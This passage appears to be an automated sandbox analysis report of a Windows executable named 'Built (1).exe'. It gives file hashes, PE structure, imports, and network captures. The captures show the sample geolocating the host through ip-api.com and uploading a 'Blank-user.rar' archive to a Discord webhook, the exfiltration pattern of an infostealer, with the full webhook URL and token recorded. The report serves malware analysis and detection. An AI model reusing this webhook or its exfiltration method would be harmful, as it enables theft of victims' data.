                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x23wy3ez.ibz.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z0afvign.35e.psm1

                                            Download File
                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            File Type:ASCII text, with no line terminators
                                            Category:dropped
                                            Size (bytes):60
                                            Entropy (8bit):4.038920595031593
                                            Encrypted:false
                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                            Malicious:false
                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                            \Device\ConDrv

                                            Download File
                                            Process:C:\Program Files\Windows Defender\MpCmdRun.exe
                                            File Type:ASCII text, with CRLF line terminators
                                            Category:dropped
                                            Size (bytes):97
                                            Entropy (8bit):4.331807756485642
                                            Encrypted:false
                                            SSDEEP:3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
                                            MD5:195D02DA13D597A52F848A9B28D871F6
                                            SHA1:D048766A802C61655B9689E953103236EACCB1C7
                                            SHA-256:ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
                                            SHA-512:1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
                                            Malicious:false
                                            Preview:..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

                                            Static File Info

                                            General

                                            File type:PE32+ executable (GUI) x86-64, for MS Windows
                                            Entropy (8bit):7.993310539796532
                                            TrID:
                                            • Win64 Executable GUI (202006/5) 92.65%
                                            • Win64 Executable (generic) (12005/4) 5.51%
                                            • Generic Win/DOS Executable (2004/3) 0.92%
                                            • DOS Executable Generic (2002/1) 0.92%
                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                            File name:Built (1).exe
                                            File size:7'762'522 bytes
                                            MD5:95567cf5f31a7d7f34ae092e68f9999d
                                            SHA1:5e0d1a179f0a14e9939e8056e46846bc7eadb2bf
                                            SHA256:a879fcea4ce6f6041ffc6271c261cf6fc09ec21ac118db277572ddf7b08e8708
                                            SHA512:d2a3b4794029344158ad84e6e5fa89d8aaecb98712424c6ff1b6076b2c15db133b1b4f35d3fc22013948cf65eaa40bab649d9f4c2d2e223afe86d8131a7dd837
                                            SSDEEP:196608:xh2UKt18urErvI9pWjgaAnajMsK23fQC//OoLxh:Gt18urEUWjJjYoo4jLxh
                                            TLSH:6376338932A559F0F96B013F9A638412D7B7B8751390D7AF07B872921F036E18D3B7A1
                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................-.....................,.............................................................Rich...........

                                            File Icon

                                            Icon Hash:90cececece8e8eb0

                                            Static PE Info

                                            General

                                            Entrypoint:0x14000c540
                                            Entrypoint Section:.text
                                            Digitally signed:false
                                            Imagebase:0x140000000
                                            Subsystem:windows gui
                                            Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                            DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                            Time Stamp:0x6644CDEA [Wed May 15 14:59:54 2024 UTC]
                                            TLS Callbacks:
                                            CLR (.Net) Version:
                                            OS Version Major:5
                                            OS Version Minor:2
                                            File Version Major:5
                                            File Version Minor:2
                                            Subsystem Version Major:5
                                            Subsystem Version Minor:2
                                            Import Hash:f4f2e2b03fe5666a721620fcea3aea9b

                                            Entrypoint Preview

                                            Instruction
                                            dec eax
                                            sub esp, 28h
                                            call 00007F4C2D17A6CCh
                                            dec eax
                                            add esp, 28h
                                            jmp 00007F4C2D17A2EFh
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            int3
                                            dec eax
                                            sub esp, 28h
                                            call 00007F4C2D17AC44h
                                            test eax, eax
                                            je 00007F4C2D17A493h
                                            dec eax
                                            mov eax, dword ptr [00000030h]
                                            dec eax
                                            mov ecx, dword ptr [eax+08h]
                                            jmp 00007F4C2D17A477h
                                            dec eax
                                            cmp ecx, eax
                                            je 00007F4C2D17A486h
                                            xor eax, eax
                                            dec eax
                                            cmpxchg dword ptr [00034FACh], ecx
                                            jne 00007F4C2D17A460h
                                            xor al, al
                                            dec eax
                                            add esp, 28h
                                            ret
                                            mov al, 01h
                                            jmp 00007F4C2D17A469h
                                            int3
                                            int3
                                            int3
                                            dec eax
                                            sub esp, 28h
                                            test ecx, ecx
                                            jne 00007F4C2D17A479h
                                            mov byte ptr [00034F95h], 00000001h
                                            call 00007F4C2D17AA51h
                                            call 00007F4C2D17B058h
                                            test al, al
                                            jne 00007F4C2D17A476h
                                            xor al, al
                                            jmp 00007F4C2D17A486h
                                            call 00007F4C2D188FEFh
                                            test al, al
                                            jne 00007F4C2D17A47Bh
                                            xor ecx, ecx
                                            call 00007F4C2D17B068h
                                            jmp 00007F4C2D17A45Ch
                                            mov al, 01h
                                            dec eax
                                            add esp, 28h
                                            ret
                                            int3
                                            int3
                                            inc eax
                                            push ebx
                                            dec eax
                                            sub esp, 20h
                                            cmp byte ptr [00034F5Ch], 00000000h
                                            mov ebx, ecx
                                            jne 00007F4C2D17A4D9h
                                            cmp ecx, 01h
                                            jnbe 00007F4C2D17A4DCh
                                            call 00007F4C2D17ABBAh
                                            test eax, eax
                                            je 00007F4C2D17A49Ah
                                            test ebx, ebx
                                            jne 00007F4C2D17A496h
                                            dec eax
                                            lea ecx, dword ptr [00034F46h]
                                            call 00007F4C2D188DE2h

                                            Data Directories

                                            NameVirtual AddressVirtual Size Is in Section
                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x3e0bc0x78.rdata
                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x470000x94c.rsrc
                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x430000x231c.pdata
                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x480000x758.reloc
                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x3b4600x1c.rdata
                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x3b3200x140.rdata
                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                            IMAGE_DIRECTORY_ENTRY_IAT0x2c0000x438.rdata
                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                            Sections

                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                            .text0x10000x2afb00x2b00040bf1edebd1304ce1b08c50cb556d4dbFalse0.5458416606104651data6.5002315273868IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                            .rdata0x2c0000x12f360x130009693c0651b77ca1379d5b4e56bc25f92False0.5160747327302632data5.82796288401719IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                            .data0x3f0000x33b80xe00ae0f42b168987b17129506ccc4960b21False0.13392857142857142firmware 32a2 vdf2d (revision 2569732096) \377\377\377\377 , version 256.0.512, 0 bytes or less, at 0xcd5d20d2 1725235199 bytes , at 0 0 bytes , at 0xffffffff 16777216 bytes1.8264700601019173IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                            .pdata0x430000x231c0x2400ffc5390666982cab67e3c9bf8e263bc3False0.4784071180555556data5.382434020909434IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                            _RDATA0x460000x1f40x200771f0b097891d31289bb68f0eb426e66False0.529296875data3.713242247775091IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                            .rsrc0x470000x94c0xa003179799486f1b9711793974a7101c627False0.42734375data5.116607321952257IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                            .reloc0x480000x7580x8007ecf18b15822e1aa4c79b9a361f07c79False0.546875data5.250941834312499IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                            Resources

                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                            RT_VERSION0x470a00x39cdata0.45021645021645024
                                            RT_MANIFEST0x4743c0x50dXML 1.0 document, ASCII text0.4694508894044857

                                            Imports

                                            DLLImport
                                            USER32.dllCreateWindowExW, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
                                            COMCTL32.dll
                                            KERNEL32.dllIsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, CreateFileW, GetFinalPathNameByHandleW, CloseHandle, GetModuleFileNameW, CreateSymbolicLinkW, GetCPInfo, GetCommandLineW, GetEnvironmentVariableW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, GetProcAddress, GetSystemTimeAsFileTime, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
                                            ADVAPI32.dllOpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
                                            GDI32.dllSelectObject, DeleteObject, CreateFontIndirectW

                                            Network Behavior

                                            Network Port Distribution

                                            TCP Packets

                                            TimestampSource PortDest PortSource IPDest IP
                                            May 16, 2024 01:00:20.460186958 CEST4973880192.168.2.4208.95.112.1
                                            May 16, 2024 01:00:20.591097116 CEST8049738208.95.112.1192.168.2.4
                                            May 16, 2024 01:00:20.591403961 CEST4973880192.168.2.4208.95.112.1
                                            May 16, 2024 01:00:20.595334053 CEST4973880192.168.2.4208.95.112.1
                                            May 16, 2024 01:00:20.777430058 CEST8049738208.95.112.1192.168.2.4
                                            May 16, 2024 01:00:21.010245085 CEST8049738208.95.112.1192.168.2.4
                                            May 16, 2024 01:00:21.152753115 CEST4973880192.168.2.4208.95.112.1
                                            May 16, 2024 01:00:21.382937908 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.382977009 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.383069038 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.409049988 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.409070969 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.632894039 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.633359909 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.633378983 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.634407997 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.634464025 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.636188030 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.636254072 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.636549950 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.636555910 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.636657000 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.636682034 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.636785030 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.636811018 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:21.636979103 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:21.636990070 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:22.142692089 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:22.142765999 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:22.142792940 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:22.142877102 CEST44349739162.159.128.233192.168.2.4
                                            May 16, 2024 01:00:22.142900944 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:22.143002033 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:22.143877029 CEST49739443192.168.2.4162.159.128.233
                                            May 16, 2024 01:00:22.144241095 CEST4973880192.168.2.4208.95.112.1
                                            May 16, 2024 01:00:22.275980949 CEST8049738208.95.112.1192.168.2.4
                                            May 16, 2024 01:00:22.276104927 CEST4973880192.168.2.4208.95.112.1

                                            UDP Packets

                                            TimestampSource PortDest PortSource IPDest IP
                                            May 16, 2024 01:00:20.350097895 CEST4966053192.168.2.41.1.1.1
                                            May 16, 2024 01:00:20.458843946 CEST53496601.1.1.1192.168.2.4
                                            May 16, 2024 01:00:21.273183107 CEST5979853192.168.2.41.1.1.1
                                            May 16, 2024 01:00:21.382052898 CEST53597981.1.1.1192.168.2.4

                                            DNS Queries

                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                            May 16, 2024 01:00:20.350097895 CEST192.168.2.41.1.1.10xe8f4Standard query (0)ip-api.comA (IP address)IN (0x0001)false
                                            May 16, 2024 01:00:21.273183107 CEST192.168.2.41.1.1.10x7f00Standard query (0)canary.discord.comA (IP address)IN (0x0001)false

                                            DNS Answers

                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                            May 16, 2024 01:00:20.458843946 CEST1.1.1.1192.168.2.40xe8f4No error (0)ip-api.com208.95.112.1A (IP address)IN (0x0001)false
                                            May 16, 2024 01:00:21.382052898 CEST1.1.1.1192.168.2.40x7f00No error (0)canary.discord.com162.159.128.233A (IP address)IN (0x0001)false
                                            May 16, 2024 01:00:21.382052898 CEST1.1.1.1192.168.2.40x7f00No error (0)canary.discord.com162.159.136.232A (IP address)IN (0x0001)false
                                            May 16, 2024 01:00:21.382052898 CEST1.1.1.1192.168.2.40x7f00No error (0)canary.discord.com162.159.138.232A (IP address)IN (0x0001)false
                                            May 16, 2024 01:00:21.382052898 CEST1.1.1.1192.168.2.40x7f00No error (0)canary.discord.com162.159.135.232A (IP address)IN (0x0001)false
                                            May 16, 2024 01:00:21.382052898 CEST1.1.1.1192.168.2.40x7f00No error (0)canary.discord.com162.159.137.232A (IP address)IN (0x0001)false

                                            HTTP Request Dependency Graph

                                            • canary.discord.com
                                            • ip-api.com

                                            HTTP Packets

                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                            0192.168.2.449738208.95.112.1807544C:\Users\user\Desktop\Built (1).exe
                                            TimestampBytes transferredDirectionData
                                            May 16, 2024 01:00:20.595334053 CEST116OUTGET /json/?fields=225545 HTTP/1.1
                                            Host: ip-api.com
                                            Accept-Encoding: identity
                                            User-Agent: python-urllib3/2.2.1
                                            May 16, 2024 01:00:21.010245085 CEST366INHTTP/1.1 200 OK
                                            Date: Wed, 15 May 2024 23:00:20 GMT
                                            Content-Type: application/json; charset=utf-8
                                            Content-Length: 189
                                            Access-Control-Allow-Origin: *
                                            X-Ttl: 60
                                            X-Rl: 44
                                            Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 46 6c 6f 72 69 64 61 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 75 6e 6e 2d 38 34 2d 31 37 2d 34 30 2d 31 30 32 2e 63 64 6e 37 37 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 74 72 75 65 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 34 30 2e 31 30 32 22 7d
                                            Data Ascii: {"status":"success","country":"United States","regionName":"Florida","timezone":"America/New_York","reverse":"unn-84-17-40-102.cdn77.com","mobile":false,"proxy":true,"query":"84.17.40.102"}


                                            HTTPS Proxied Packets

                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                            0192.168.2.449739162.159.128.2334437544C:\Users\user\Desktop\Built (1).exe
                                            TimestampBytes transferredDirectionData
                                            2024-05-15 23:00:21 UTC308OUTPOST /api/webhooks/1239329155217358858/admvYq0v9cjAidcZoWKCiUKHCK3D6emDgArT1zNg_wWvbmzGNeA6Wh-KhldBnjCz9p6j HTTP/1.1
                                            Host: canary.discord.com
                                            Accept-Encoding: identity
                                            Content-Length: 71802
                                            User-Agent: python-urllib3/2.2.1
                                            Content-Type: multipart/form-data; boundary=f682b548ae6748f35ce6c1f4274d56b2
                                            2024-05-15 23:00:21 UTC16384OUTData Raw: 2d 2d 66 36 38 32 62 35 34 38 61 65 36 37 34 38 66 33 35 63 65 36 63 31 66 34 32 37 34 64 35 36 62 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 4e 2c d8 a8 21 04 00 00 01 0f 83 67 c5 b3 25 d2 e7 60 2c cb 5a 08 3f 96 88 92 ea 0a 50 f8 8c 9a 0b 8b 48 25 92 e8 31 ed 7a ed 5c 72 ec b1 ad 52 d6 55 d4 1c 91 f3 51 eb 8e 28 07 93 0c a9 0a d7 fc 84 f8 b4 d1 94 81 fc 52 bf 1d 63 ce 7d 31 ff 57 d8 5a 88 e6 dd b2 34 c6 77 95 ba 29 c0 18 14
                                            Data Ascii: --f682b548ae6748f35ce6c1f4274d56b2Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!N,!g%`,Z?PH%1z\rRUQ(Rc}1WZ4w)
                                            2024-05-15 23:00:21 UTC16384OUTData Raw: 2b 4e 3d 97 20 36 b8 21 52 06 69 ac fb 6b e0 41 24 2e 1b 1a 1c bc ba c8 6b b3 cf ea 13 de 5c 88 44 ba ae 89 89 d0 06 88 cf f8 e5 ee 07 fe 0a f4 4a c9 60 d4 5d cd 8a c2 82 98 24 b7 63 4d 18 ee b1 23 e0 b6 a1 41 8b a8 3a bf dd b5 d1 8a 5d 0a 86 39 b2 89 e8 3d f2 a8 4e 03 dc af f8 5d 86 d0 72 e2 c9 d6 45 08 c0 1d df 56 4d 9a 44 5e 31 72 f8 e5 3f ad 66 b3 20 00 ee a4 4c 35 ca 97 b8 03 a7 a6 4d a7 0b e7 78 d4 cd 62 46 5f 35 b4 f0 10 63 5e b8 e8 56 bd 1d 75 10 d4 68 6d 10 1f bf 04 08 00 63 0b 3c dc 58 f0 57 62 98 1b 04 ba f5 fb e7 08 f4 06 cf ce 33 9d f3 14 07 c8 03 20 5e 37 7c 40 2e 70 a0 af 44 2c 8b 71 1a 45 5d f7 db 87 99 e4 d0 a5 5a a2 82 a7 ef 32 5e 54 58 fd 65 42 d0 be f2 cf 31 76 e7 0e 40 01 a2 3d 8f a2 93 89 d0 b4 a6 ec db 40 7f 56 02 5a 67 2f 15 a3 03
                                            Data Ascii: +N= 6!RikA$.k\DJ`]$cM#A:]9=N]rEVMD^1r?f L5MxbF_5c^Vuhmc<XWb3 ^7|@.pD,qE]Z2^TXeB1v@=@VZg/
                                            2024-05-15 23:00:21 UTC16384OUTData Raw: d5 f1 f2 4d 1b 23 fb f3 bc 4c c1 d5 49 23 34 8d 59 8a 65 d7 22 fb c1 4e b8 10 6a b0 d9 5e aa 2d ac d9 13 5e 48 93 49 55 03 bd c3 7e 08 b0 05 3b 14 20 f1 bc 07 8d 43 e5 0a 4b dc d6 fe b1 ea 70 fa e7 58 ea be 2b 5a 93 1b 25 7d 8f 7b 74 7e b8 c3 fb f5 61 2d 57 20 ed 6c 5a 41 bf ab 96 3e 42 e9 97 a3 44 6b 4f d4 7c 16 24 2a e1 06 ba c1 74 88 ab e0 61 15 89 5a 06 cc fb 66 7c 09 af 6d 1f 84 05 3b ab 5b e1 a4 89 cf 19 57 6b 66 09 62 33 c7 ee ac ff 96 f1 b4 70 c3 cc b6 cb 47 ae 6d c2 3e cd 6f 0a ca 34 d3 59 10 71 d5 8f 49 22 83 35 fa 65 5f ef f6 de fe e3 15 5d 1a 25 03 98 df 98 14 05 38 66 ac 1e 56 11 7a 45 09 e6 74 03 29 79 8b 8a 6f b9 df e0 88 fe 3b eb fa 8b cc 2e 2d f6 05 96 77 d9 af af 6d 98 34 cc 36 05 1c ae 02 bf 0f 50 9b d1 7b 12 a9 73 ca 24 f5 c4 68 2e 5c
                                            Data Ascii: M#LI#4Ye"Nj^-^HIU~; CKpX+Z%}{t~a-W lZA>BDkO|$*taZf|m;[Wkfb3pGm>o4YqI"5e_]%8fVzEt)yo;.-wm46P{s$h.\
                                            2024-05-15 23:00:21 UTC16384OUTData Raw: 15 8f 5c 59 61 d2 5d c3 1e 2e 1d 1e 96 78 3e a2 7f b2 49 74 49 8d 5f 34 96 ce b6 4d 4a 80 60 54 f1 32 ea b9 3f 71 64 d1 84 8e 47 9d 28 8d 05 3c 3e 78 64 3c 3d ec 60 f4 9f 00 bd 18 d6 c2 c3 1e d5 bf a4 6f fa ab 19 d5 b0 f9 6b 28 b4 9d fd c1 2f c6 c7 e6 ef 2a 53 06 4f 0c b4 8c 1d 1f e2 fd 48 29 e6 c4 6c 9c 17 c7 c5 bf 18 91 5c ff 41 5c dc 68 ca f9 40 b6 f2 09 17 33 30 bb 59 93 59 22 8e d5 c9 06 20 6d 3c f7 e8 92 46 62 e0 45 45 fe f7 85 04 c5 a4 ff 14 5a 9d 64 df 1e df 19 95 98 94 60 2e c0 64 87 5e bc 9d 93 01 a6 a3 8d 52 58 32 8e e2 61 0e a6 1a 8f e0 58 f0 8f de 2b 9f 44 74 ac 01 c0 35 1d 5a 8b e9 56 62 7c 28 0f 43 6d 73 f4 7f 4b dd 83 f0 b0 d6 3e 4f 62 ce a4 8d df 8a 3c cd ae a2 89 5d 92 c4 e6 99 8c 6a 0c 69 4d 83 2b b5 5c b7 fe 45 e6 26 b5 e5 fe 18 e8 f6
                                            Data Ascii: \Ya].x>ItI_4MJ`T2?qdG(<>xd<=`ok(/*SOH)l\A\h@30YY" m<FbEEZd`.d^RX2aX+Dt5ZVb|(CmsK>Ob<]jiM+\E&
                                            2024-05-15 23:00:21 UTC6266OUTData Raw: 27 f9 67 e3 d4 2e 2c 1e f9 a2 08 0b 84 0e 68 b4 75 52 ac 67 12 b0 98 f1 fe 85 d8 cb 6d 63 72 af a2 95 43 23 9e e8 bf d5 1e bc ef 84 c1 0a 48 1f 94 cb 55 ba 39 58 db 37 51 32 ad f0 30 95 45 02 12 b6 00 44 da 94 de 6c 1a 0b e0 43 d7 eb fb dd 9f bf 72 de 67 68 d1 1f 1a d0 40 20 d9 fc f3 91 da 05 e6 7b 45 6b 72 35 af 98 fb 2f 6e 50 f9 08 d7 f7 8d 78 29 fb 4b 96 f2 43 a8 6b ce ba 28 3c d7 ef db db 56 e4 72 d0 c9 5b 43 a6 2f c2 e0 2c 25 e2 c4 71 d3 d9 1a 38 2b 32 a2 2d b0 5d 7f 25 e4 4e b3 d3 f8 7f a0 43 15 c8 ee fc 90 01 c1 d5 78 09 66 ad 46 f6 fd 8c c1 74 88 52 40 df 9a fd c4 c8 71 8f c1 d0 85 8a 24 0f 5f 8d 25 f7 80 b1 c9 99 37 fa 05 df ec 11 55 c4 fb 22 af da 91 ca 9b 2e 85 bd 76 48 70 05 ea 06 de d2 e4 7e 30 b5 c2 10 25 27 9e 4a e0 45 8a 6f 27 1f 36 4b e9
                                            Data Ascii: 'g.,huRgmcrC#HU9X7Q20EDlCrgh@ {Ekr5/nPx)KCk(<Vr[C/,%q8+2-]%NCxfFtR@q$_%7U".vHp~0%'JEo'6K
                                            2024-05-15 23:00:22 UTC1368INHTTP/1.1 200 OK
                                            Date: Wed, 15 May 2024 23:00:22 GMT
                                            Content-Type: application/json
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            CF-Ray: 8846be638cc431ef-MIA
                                            CF-Cache-Status: DYNAMIC
                                            Set-Cookie: __dcfduid=e85e5088130e11ef8d37de6368dbc531; Expires=Mon, 14-May-2029 23:00:22 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                            Vary: Accept-Encoding
                                            Via: 1.1 google
                                            alt-svc: h3=":443"; ma=86400
                                            X-Content-Type-Options: nosniff
                                            x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                            x-ratelimit-limit: 5
                                            x-ratelimit-remaining: 4
                                            x-ratelimit-reset: 1715814023
                                            x-ratelimit-reset-after: 1
